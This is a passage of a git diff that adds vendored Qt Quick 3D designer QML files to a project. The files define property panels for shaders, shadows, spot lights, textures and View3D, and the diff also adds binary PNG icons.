b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/ShaderSection.qml @@ -0,0 +1,64 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + Section { + caption: qsTr("Shader") + width: parent.width + + SectionLayout { + Label { + text: qsTr("Source") + tooltip: qsTr("Shader source code.") + } + SecondColumnLayout { + UrlChooser { + backendValue: backendValues.shader + filter: "*.*" + } + } + Label { + text: qsTr("Stage") + tooltip: qsTr("Shader stage.") + } + ComboBox { + scope: "Shader" + model: ["Shared", "Vertex", "Fragment", "Geometry", "Compute"] + backendValue: backendValues.stage + Layout.fillWidth: true + } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/ShaderSpecifics.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/ShaderSpecifics.qml new file mode 100644 index 00000000..3de46b66 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/ShaderSpecifics.qml @@ -0,0 +1,40 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + ShaderSection { + width: parent.width + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/ShadowSection.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/ShadowSection.qml new file mode 100644 index 00000000..ed4a6185 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/ShadowSection.qml @@ -0,0 +1,133 @@ +/**************************************************************************** +** +** Copyright (C) 2019 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Section { + caption: qsTr("Shadows") + width: parent.width + + SectionLayout { + + Label { + text: qsTr("Casts Shadow") + tooltip: qsTr("Enables shadow casting for this light.") + } + SecondColumnLayout { + CheckBox { + id: shadowCheckBox + text: backendValues.castsShadow.valueToString + backendValue: backendValues.castsShadow + Layout.fillWidth: true + } + } + + // ### all the following should only be shown when shadows are enabled + Label { + text: qsTr("Shadow Factor") + tooltip: qsTr("Determines how dark the cast shadows should be.") + } + SecondColumnLayout { + SpinBox { + minimumValue: 0.0 + maximumValue: 100.0 + decimals: 0 + backendValue: backendValues.shadowFactor + Layout.fillWidth: true + enabled: shadowCheckBox.backendValue.value === true + } + } + + Label { + text: qsTr("Shadow Filter") + tooltip: qsTr("Sets how much blur is applied to the shadows.") + } + SecondColumnLayout { + SpinBox { + minimumValue: 1.0 + maximumValue: 100.0 + decimals: 0 + backendValue: backendValues.shadowFilter + Layout.fillWidth: true + enabled: shadowCheckBox.backendValue.value === true + } + } + + Label { + text: qsTr("Shadow Map Quality") + tooltip: qsTr("Sets the quality of the shadow map created for shadow rendering.") + } + SecondColumnLayout { + ComboBox { + scope: "Light" + model: ["ShadowMapQualityLow", "ShadowMapQualityMedium", "ShadowMapQualityHigh", "ShadowMapQualityVeryHigh"] + backendValue: backendValues.shadowMapQuality + Layout.fillWidth: true + enabled: shadowCheckBox.backendValue.value === true + } + } + + Label { + text: qsTr("Shadow Bias") + tooltip: qsTr("Sets a slight offset to avoid self-shadowing artifacts.") + } + SecondColumnLayout { + SpinBox { + minimumValue: -1.0 + maximumValue: 1.0 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.shadowBias + Layout.fillWidth: true + enabled: shadowCheckBox.backendValue.value === true + } + } + + Label { + text: qsTr("Shadow Map Far") + tooltip: qsTr("Determines the maximum distance for the shadow map.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 9999999 + minimumValue: -9999999 + realDragRange: 5000 + decimals: 0 + stepSize: 100 + backendValue: backendValues.shadowMapFar + Layout.fillWidth: true + enabled: shadowCheckBox.backendValue.value === true + } + } + + } +} + diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/SpotLightSection.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/SpotLightSection.qml new file mode 100644 index 00000000..6b7f361f --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/SpotLightSection.qml @@ -0,0 +1,170 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + Section { + caption: qsTr("SpotLight") + width: parent.width + + SectionLayout { + Label { + text: qsTr("Scope") + tooltip: qsTr("Sets the scope of the light. Only the node and its children are affected by this light.") + } + SecondColumnLayout { + IdComboBox { + typeFilter: "QtQuick3D.Node" + Layout.fillWidth: true + backendValue: backendValues.scope + } + } + Label { + text: qsTr("Brightness") + tooltip: qsTr("Sets the strength of the light.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 9999999 + minimumValue: -9999999 + realDragRange: 5000 + decimals: 0 + backendValue: backendValues.brightness + Layout.fillWidth: true + } + } + + Label { + text: qsTr("Constant Fade") + tooltip: qsTr("Sets the constant attenuation of the light.") + } + SecondColumnLayout { + SpinBox { + minimumValue: 0 + maximumValue: 10 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.constantFade + Layout.fillWidth: true + } + } + + Label { + text: qsTr("Linear Fade") + tooltip: qsTr("Sets the linear attenuation of the light.") + } + SecondColumnLayout { + SpinBox { + minimumValue: 0 + maximumValue: 10 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.linearFade + Layout.fillWidth: true + } + } + + Label { + text: qsTr("Quadratic Fade") + tooltip: qsTr("Sets the quadratic attenuation of the light.") + } + SecondColumnLayout { + SpinBox { + minimumValue: 0 + maximumValue: 10 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.quadraticFade + Layout.fillWidth: true + } + } + + Label { + text: qsTr("Cone Angle") + tooltip: qsTr("Sets the angle of the light cone.") + } + SecondColumnLayout { + SpinBox { + minimumValue: 0 + maximumValue: 180 + decimals: 2 + backendValue: backendValues.coneAngle + Layout.fillWidth: true + } + } + + Label { + text: qsTr("Inner Cone Angle") + tooltip: qsTr("Sets the angle of the inner light cone.") + } + SecondColumnLayout { + SpinBox { + minimumValue: 0 + maximumValue: 180 + decimals: 2 + backendValue: backendValues.innerConeAngle + Layout.fillWidth: true + } + } + } + } + + Section { + caption: qsTr("Color") + width: parent.width + + ColorEditor { + caption: qsTr("Color") + backendValue: backendValues.color + supportGradient: false + Layout.fillWidth: true + } + } + + Section { + caption: qsTr("Ambient Color") + width: parent.width + ColorEditor { + caption: qsTr("Ambient Color") + backendValue: backendValues.ambientColor + supportGradient: false + Layout.fillWidth: true + } + } + + ShadowSection { + width: parent.width + } + +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/SpotLightSpecifics.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/SpotLightSpecifics.qml new file mode 100644 index 00000000..eba4f27f --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/SpotLightSpecifics.qml @@ -0,0 +1,44 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + NodeSection { + width: parent.width + } + + SpotLightSection { + width: parent.width + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/TextureInputSection.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/TextureInputSection.qml new file mode 100644 index 00000000..560b1df1 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/TextureInputSection.qml @@ -0,0 +1,66 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + Section { + caption: qsTr("Texture Input") + width: parent.width + + SectionLayout { + Label { + text: qsTr("Texture") + tooltip: qsTr("Input texture.") + } + SecondColumnLayout { + IdComboBox { + typeFilter: "QtQuick3D.Texture" + Layout.fillWidth: true + backendValue: backendValues.texture + } + } + Label { + text: qsTr("Enabled") + tooltip: qsTr("Texture enable state.") + } + SecondColumnLayout { + CheckBox { + text: backendValues.enabled.valueToString + backendValue: backendValues.enabled + Layout.fillWidth: true + } + } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/TextureInputSpecifics.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/TextureInputSpecifics.qml new file mode 100644 index 00000000..32e714e6 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/TextureInputSpecifics.qml @@ -0,0 +1,40 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + TextureInputSection { + width: parent.width + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/TextureSection.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/TextureSection.qml new file mode 100644 index 00000000..70e9af1e --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/TextureSection.qml @@ -0,0 +1,210 @@ +/**************************************************************************** +** +** Copyright (C) 2019 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Section { + caption: qsTr("Image") + width: parent.width + SectionLayout { + Label { + text: qsTr("Source") + tooltip: qsTr("Holds the location of an image file containing the data used by the texture.") + } + SecondColumnLayout { + UrlChooser { + backendValue: backendValues.source + } + } + + Label { + text: qsTr("Source Item") + tooltip: qsTr("Defines an item to be used as the source of the texture.") + } + SecondColumnLayout { + IdComboBox { + typeFilter: "QtQuick.Item" + Layout.fillWidth: true + backendValue: backendValues.sourceItem + } + } + + Label { + text: qsTr("U Scale") + tooltip: qsTr("Defines how to scale the U texture coordinate when mapping to UV coordinates of a mesh.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 999999 + minimumValue: 0 + realDragRange: 10 + decimals: 0 + backendValue: backendValues.scaleU + Layout.fillWidth: true + } + } + + Label { + text: qsTr("V Scale") + tooltip: qsTr("Defines how to scale the V texture coordinate when mapping to UV coordinates of a mesh.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 999999 + minimumValue: 0 + realDragRange: 10 + decimals: 0 + backendValue: backendValues.scaleV + Layout.fillWidth: true + } + } + + Label { + text: qsTr("Texture Mapping") + tooltip: qsTr("Defines which method of mapping to use when sampling this texture.") + } + SecondColumnLayout { + ComboBox { + scope: "Texture" + model: ["UV", "Environment", "LightProbe"] + backendValue: backendValues.mappingMode + Layout.fillWidth: true + } + } + + Label { + text: qsTr("U Tiling") + tooltip: qsTr("Controls how the texture is mapped when the U scaling value is greater than 1.") + } + SecondColumnLayout { + ComboBox { + scope: "Texture" + model: ["Unknown", "ClampToEdge", "MirroredRepeat", "Repeat"] + backendValue: backendValues.tilingModeHorizontal + Layout.fillWidth: true + } + } + + Label { + text: qsTr("V Tiling") + tooltip: qsTr("Controls how the texture is mapped when the V scaling value is greater than 1.") + } + SecondColumnLayout { + ComboBox { + scope: "Texture" + model: ["Unknown", "ClampToEdge", "MirroredRepeat", "Repeat"] + backendValue: backendValues.tilingModeVertical + Layout.fillWidth: true + } + } + + Label { + text: qsTr("UV Rotation") + tooltip: qsTr("Rotates the texture around the pivot point.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 999999 + minimumValue: -999999 + realDragRange: 360 + decimals: 0 + backendValue: backendValues.rotationUV + Layout.fillWidth: true + } + } + + Label { + text: qsTr("U Position") + tooltip: qsTr("Offsets the U coordinate mapping from left to right.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 999999 + minimumValue: -999999 + realDragRange: 2 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.positionU + Layout.fillWidth: true + } + } + + Label { + text: qsTr("V Position") + tooltip: qsTr("Offsets the V coordinate mapping from bottom to top.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 999999 + minimumValue: -999999 + realDragRange: 2 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.positionV + Layout.fillWidth: true + } + } + + Label { + text: qsTr("U Pivot") + tooltip: qsTr("Sets the pivot U position.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 999999 + minimumValue: -999999 + realDragRange: 2 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.pivotU + Layout.fillWidth: true + } + } + + Label { + text: qsTr("V Pivot") + tooltip: qsTr("Sets the pivot V position.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 999999 + minimumValue: -999999 + realDragRange: 2 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.pivotV + Layout.fillWidth: true + } + } + + } + +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/TextureSpecifics.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/TextureSpecifics.qml new file mode 100644 index 00000000..8eec6551 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/TextureSpecifics.qml @@ -0,0 +1,40 @@ +/**************************************************************************** +** +** Copyright (C) 2019 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + TextureSection { + width: parent.width + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/View3DSection.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/View3DSection.qml new file mode 100644 index 00000000..f8f08ad5 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/View3DSection.qml @@ -0,0 +1,75 @@ +/**************************************************************************** +** +** Copyright (C) 2019 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Section { + caption: qsTr("View3D") + width: parent.width + + SectionLayout { + Label { + text: qsTr("Camera") + tooltip: qsTr("Specifies which camera is used to render the scene.") + } + SecondColumnLayout { + IdComboBox { + typeFilter: "QtQuick3D.Camera" + Layout.fillWidth: true + backendValue: backendValues.camera + } + } + + Label { + text: qsTr("Environment") + tooltip: qsTr("Specifies the scene environment used to render the scene.") + } + SecondColumnLayout { + IdComboBox { + typeFilter: "QtQuick3D.SceneEnvironment" + Layout.fillWidth: true + backendValue: backendValues.environment + } + } + + Label { + text: qsTr("Import Scene") + tooltip: qsTr("Defines the reference node of the scene to render to the viewport.") + } + SecondColumnLayout { + IdComboBox { + typeFilter: "QtQuick3D.Node" + Layout.fillWidth: true + backendValue: backendValues.importScene + } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/View3DSpecifics.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/View3DSpecifics.qml new file mode 100644 index 00000000..b0df5386 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/View3DSpecifics.qml @@ -0,0 +1,40 @@ +/**************************************************************************** +** +** Copyright (C) 2019 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + View3DSection { + width: parent.width + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/camera.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/camera.png new file mode 100644 index 00000000..44604215 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/camera.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/camera16.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/camera16.png new file mode 100644 index 00000000..74d84d62 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/camera16.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/camera@2x.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/camera@2x.png new file mode 100644 index 00000000..8931adb0 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/camera@2x.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/cone.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/cone.png new file mode 100644 index 00000000..29e0df73 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/cone.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/cone16.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/cone16.png new file mode 100644 index 00000000..d30f9244 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/cone16.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/cone@2x.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/cone@2x.png new file mode 100644 index 00000000..099e80c9 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/cone@2x.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/cube.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/cube.png new file mode 100644 index 00000000..95812637 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/cube.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/cube16.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/cube16.png new file mode 100644 index 00000000..759f073d Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/cube16.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/cube@2x.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/cube@2x.png new file mode 100644 index 00000000..7ab1e27a Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/cube@2x.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/cylinder.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/cylinder.png new file mode 100644 index 00000000..e3914465 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/cylinder.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/cylinder16.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/cylinder16.png new file mode 100644 index 00000000..37d683d9 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/cylinder16.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/cylinder@2x.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/cylinder@2x.png new file mode 100644 index 00000000..2b166ed3 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/cylinder@2x.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/dummy.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/dummy.png new file mode 100644 index 00000000..a3b6c7f6 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/dummy.png differ diff --git 